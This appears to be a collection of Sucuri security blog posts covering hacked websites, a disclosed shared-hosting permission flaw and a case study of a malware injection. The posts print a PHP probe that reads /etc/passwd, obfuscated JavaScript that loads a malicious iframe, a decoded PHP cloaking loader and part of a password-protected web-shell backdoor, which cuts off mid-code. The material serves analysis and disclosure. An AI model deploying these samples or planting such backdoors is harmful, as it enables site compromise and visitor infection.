Sucuri Security WordPress Plugin Free To Clients: Getting Proactive with Web Malware

We are happy to announce that our premium WordPress plugin is now for free to all our existing and new clients. The plugin is a great compliment to our malware scanning and remediation services and provides a large array of features designed to help you combat the growing web malware problem.

Note: the plugin is available under all our existing plans for all our users.

We have started to get questions that ask whether this is the only plugin required for all your security needs, the answer is “no”. It is meant to compliment your arsenal and help you become more proactive when it comes to securing your WordPress instance.


Read More

UFSC.br – Brazilian University hosting SEO SPAM

UFSC.br (Brazilian Federal university in Santa Catarina), one of the biggest universities in Brazil, is hosting SEO SPAM on almost all their departamental web sites:

http://www.sead.ufsc.br – Department for distant education
http://cco.inf.ufsc.br/ – Computer science department (using WordPress 2.2)
http://www.lec.ufsc.br/ – Engineering department
http://emc.ufsc.br – Mechanical engineering department
http://www.ndi.ufsc.br/ – Department for child development
http://www.bu.ufsc.br/ – Library department
www.dssmovimentossociais.ufsc.br

http://www.infosam.ufsc.br/

And I could go on and on with this list. Most of them are using old versions of WordPress and Joomla, explaining how they got hacked.


Read More

All the sites at the Walmart Community network hacked

We posted a few weeks ago that the main site for the Walmart community network was hacked. Well, the problem is a lot bigger than that.

They have web sites for different cities and most of them are hacked too. For example:

  • http://arkansas.walmartcommunity.com/ (65.61.140.162) – SEO spam
  • http://florida.walmartcommunity.com ( 65.61.167.225) – SEO spam (only visible to google)
  • http://chicago.walmartcommunity.com ( 65.61.140.161 ) – SEO Spam
  • http://chicago.walmartcommunity.com/wp-includes/8pmax/ – Fake AV (when coming from google
  • http://philadelphia.walmartcommunity.com/ ( 65.61.167.225 ) – SEO Spam

And probably every one of them, since I just checked the ones from their front page. But they are all using WordPress 2.8.4, hosted a Rackspace and configured the same way.


Read More

Hostek is putting their customers at risk

If you are hosting your site at Hostek.com, you are probably at a higher risk of being hacked. Why? Because they do not do the proper separation of accounts internally, so anyone can access the pages of everyone else.

How do we know that? We were helping a friend with his site over there and when we checked their permissions, we found a big (BIG) security hole on Hostek. Every PHP script is executed with the permissions of the user “nobody” (used by Apache), and every site allows the user “nobody” to access its files.

It means that any user can access the files from everyone else. Even worse, you can add and even modify the files under some circumstances.

Analysis

When we realized that the PHP scripts were being executed as the user nobody, we did a simple PHP script to verify that:

echo “verify..\n”;
$myloc = `pwd`;
echo “myloc: $myloc\n”;
$myid = `id`;
echo “myid: $myid\n
“;

We got this output:

verify.. myloc: /home/XXX/public_html done
myid: uid=99(nobody) gid=99(nobody) groups=99(nobody)

Uh-oh, the PHP script is being executed as nobody. We also learned that probably every user has its own home directory at /home/[user] and their public web site is stored at /home/[user]/public_html.

We tried an additional check after with this script:

$listofusers = `cat /etc/passwd`;
echo "
users:$listofusers\n

“;

And yes, we got the list of all the users inside their shared server ( I won’t list the real users to protect them, but everyone had the home dir at /home/[user] and the shell /usr/local/cpanel/bin/noshell):


users:root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
mailman:x:32001:32001::/usr/local/cpanel/3rdparty/mailman:/bin/bash
cpanel:x:32002:32003::/usr/local/cpanel:/bin/bash
..

That’s not too bad. What else could we do? Well, we could list the files from everyone else (I won’t show how to do it):


/home/userB/public_html

total 1524
drwxr-x--- 24 userB nobody 4096 Oct 30 01:49 .
drwx--x--x 15 userB actionin 4096 Apr 26 2009 ..
-rw------- 1 userB actionin 16 Apr 11 03:57 .ftpquota
-rw-r--r-- 1 userB actionin 93 Feb 3 2009 LiveSearchSiteAuth.xml
-rw-r--r-- 1 userB actionin 3240 Feb 10 2009 about.php
drwxr-xr-x 2 userB actionin 4096 Nov 30 2007 activate
drwxr-xr-x 7 userB actionin 4096 Mar 10 2009 admin
-rw-r--r-- 1 userB actionin 6243 Feb 5 2009 change_password.php
..

As you can see, the group nobody has the permission to read and execute the public_html directory, so every user can read the files from everyone else.

If that wasn’t bad enough, we were able to cat the passwords from wp-config.php (used by WordPress), configuration.php (used by Joomla) and even .htpasswd used to protect specific directories.

Can it get worse?

What is really bad is that some CMSs (specially Worpdress), have a directory to allow the user to upload files in there via the web. With WordPress it is inside wp-content/upload.

The permissions of this directory allowed the user nobody to add and modify any file in there. So we were able to add files into other people’s site (see test.txt on the screenshot) and even modify anything they had uploaded. Really bad.


And yes, we contacted them and got no reply.

Targeted web-based malware – Case study

We deal with web-based malware every day here at Sucuri. Most of them are very simple and easy to detect, but once in a while we face some that are very complex and targeted. This case study is about the later, a targeted attack against a high profile site. Hope you like it.

A few weeks ago a client reported that his site was being flagged as having malware by an anti virus product. He wasn’t able to see it and even the users who complained to him about it, said that they only got the warning once and never more, so they weren’t sure if it was a false positive or not.

We did a little analysis and only one Anti Virus (Avast) flagged the file http://site.com/wp-content/plugins/featured-content-gallery/scripts/mootools.v1.11.js as having malware. We re-run the scanner again and it said the file was clean. Weird…

We manually looked at this mootools.v1.11.js and it looked clean to us. Time for a more complete investigation.

Discovering the problem

We went to our analysis system and we noticed that for the first time you visit the file http://site.com/wp-content/plugins/featured-content-gallery/scripts/mootools.v1.11.js it would return malware on the top of it. After that, the file would return clean.

This is what was added to the top of the file:

if(document.cookie.indexOf('urchin')==-1 && 
!window.navigator.userAgent.toLowerCase().match(/(indexer|googlebot|msnbot|bing|ask)/))
{ res=new Date();res.setTime(res.getTime()+80000000);document.cookie='urchin='+escape('google-
analytics.com')+';expires='+res.toGMTString()+';path=/';function mOG(){};var tO=40844;
mOG.prototype = {i : function() {var v='';var iA=function(){return 'iA'};return 'h6tMt6pT:M/T
..
/QiMmEgTdToTwMnElTo6aTdMsQ.Qc6oMmM/6iMnQ.McQgTiM?M4T'.iO(/[TEQM6]/g, '');var vL=function()
..
dK='dK';}zM=41990;var wE=function(){};var xW=57051;}};this.sA='';var rK=new mOG(); var tQ='tQ';
rK.t();var cE=new Array();}

This is this script a little more organized:So basically this malware will only be displayed if the user agent is not from a crawler (probably to avoid that the site get blacklisted or that it shows up on the search results).

After all the obfuscation this is what it does:

CreateElement iframe setAttribute src = http://imgdownloads.com/in.cgi?4 

So it creates a new iframe that points to imgdownloads.com (a site that is already blacklisted).

Internal analysis – What is happening

After we discovered what the malware was doing, we went to analyze his files to see what was happening.

First, we discovered a directory at /www.site.com.com/web/cgi-bin/mt-bak/ with a list of IP addresses that were accessing the site each day.

ls -la /www.site.com.com/web/cgi-bin/mt-bak/
100405.txt
100404.txt
100403.txt
..
cat /www.site.com.com/web/cgi-bin/mt-bak/100405.txt
x.78.231.202
x.64.183.67
x.14.192.1
x.166.39.66
x.158.1.162
x.145.64.64
x.218.178.206
x.141.14.3
x.1.84.124
..

Interesting, so that’s probably how it was tracking the IP addresses and deciding when to show the malware.

We also, discovered an encoded PHP file (xml.php) with the following code:


< ?php $v1 = strrev('edoced_46esab');$v2 = strrev('etalfnizg'); eval($v2($v1('nVdZk6JYFn7O/BUZFRWRWVFTKYuUSXTkzKgIgorKKvRMVMAFUbkslWAKdPR..
/n8OiaVZV98M8GHK3c76zfffc29uPnpP7d8939d/DhzLyPnz67fZjtoWp+14U573ceQn8nKB79..
/9ZNjjPws2abOPn5ESdQ7+W4PJXHuw6FT+uX8meJjsI

Decoding the file, this is what it does:

$date = date("ymd");
$sf = '/www.site.com/web/content/wp-content/plugins/featured-content-gallery/scripts/mootools.v1.11.js';
$mrd = trim(file_get_contents($sf));
$cpasswd=@$_COOKIE['urchins'];
$logfile= "/www.site.com/web/cgi-bin/mt-bak/$date.txt";

$add = base64_decode('aWYo5tYXR8Y3Jhd2xlcnx5YWhvb3xzZWFyY2h8c3RhY2tyYW1ibGVyfGFwb..');
$ip1 = $_SERVER['REMOTE_ADDR'];
$lo = file($logfile);
$skip = false;
foreach($lo as $ip2)
{
if(trim($ip2) == $ip1)
{
$skip = true;
break;
}
}
if ($skip == false)
{
$fp = fopen($logfile, "a");
fwrite($fp, "$ip1\n");
fclose($fp);
//$mrd .= "\n".$add;
echo $add."\n".$mrd;
}
else { echo $mrd; }

BINGO! That’s the file that is being called to decide when to show the malware. It reads the user IP address and if is not presence in the mt-bak directory, it shows the malware and adds it in there.

Once we knew what was happening, it was easy to isolate which file was calling the xml.php to fix the problem. We didn’t have logs to know when this happened, but we had to find out how they got in to make sure it didn’t happen again.

We took their web directory to see if we could find anything else there and also looked at the differences between a clean install of WordPress and theirs.

By doing that, we found a new file hidden inside the wp-includes directory: class-rss.php:

$p = "r3^wl8rch5w";
$cont = "";
if(isset($_POST['pass']) && @base64_decode($_POST['pass']) == $p){
if(isset($_POST['check']) && isset($_POST['file'])){
$_POST['file'] = rawurldecode($_POST['file']);
if(file_exists($_POST['file']) && is_writable($_POST['file'])){
die("2");
}else{
die("1");
}
}
if(isset($_POST['text']) && isset($_POST['file']) && file_exists($_POST['file']) && is_writable($_POST['file'])){
$_POST['file'] = rawurldecode($_POST['file']);
$_POST['text'] = rawurldecode($_POST['text']);
$ttx = @file_get_contents($_POST['text']);
if(strlen($ttx)==0){
die("3");
}
$cont = @file_get_contents($_POST['file']);
if(strlen($cont)==0){
die("4");
}
if(!isset($_POST['inraw'])){
if(preg_match("#\ $cont = preg_replace("#\ }else{
$cont = "